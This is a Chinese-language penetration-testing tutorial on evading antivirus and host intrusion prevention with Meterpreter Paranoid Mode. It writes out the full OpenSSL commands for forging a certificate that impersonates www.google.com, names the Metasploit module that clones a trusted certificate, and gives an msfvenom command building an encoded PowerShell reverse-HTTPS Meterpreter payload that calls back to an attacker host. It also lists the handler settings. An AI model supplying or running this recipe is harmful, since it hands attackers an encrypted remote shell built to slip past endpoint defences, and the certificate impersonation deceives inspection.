绕过杀毒软件与主机入侵防御系统对流量的检测

为了防止主机被入侵,现如今大部分的环境都装有各种安全防护软件,比如我们经常会遇到的终端解决方案以及主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。
尽管这些安全产品为我们提供了一个额外的安全保护,但这还远远不够。系统管理员经常依赖这些控件以及允许用户执行的脚本,可能会导致代码任意执行,最终致使系统妥协。对于一个渗透测试人员来说,创建一个包含经过编码的payload的脚本绕过这些控件,并对连接进行加密以避开HIPS检测。HD Moore在2015年就曾介绍过如何使用Meterpreter Paranoid Mode作为一种安全连接的方法
生成证书
OpenSSL可以用来生成一个自定义证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com"
-keyout www.google.com.key
-out www.google.com.crt &&
cat www.google.com.key www.google.com.crt > www.google.com.pem &&
rm -f www.google.com.key www.google.com.crt

此外Metasploit框架还有一个模块可以用来自动从信任源创建一个虚假证书
auxiliary/gather/impersonate_ssl

生成payload
Metasploit MsfVenom可用来生成一个经过编码的payload(PowerShell Base64),这一步会使用到之前生成的证书
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

配置监听器
当监听器配置完成之后还需要使用到额外的2个选项,其一是为了向处理程序通知所使用的证书(同payload),其二是当收到一个连接时执行SSL证书验证
HandlerSSLCert
StagerVerifySSLCert
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.100.3
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true

自payload在目标主机执行那一刻,会打开一个加密的Meterprete会话,其将会阻止HIPS对数据包的检测以及断开连接

Meterpreter Paranoid Mode
使用Meterpreter Paranoid Mode工具可以对上述过程实现完全自动化,该工具的完全使用说明可以查看Github

总结
上述过程经常被用于交互式渗透测试中,且能够绕过经常更新的杀毒软件以及HIPS对流量的检测。特别感谢James Hemmings以及Gabriel对本技术的贡献。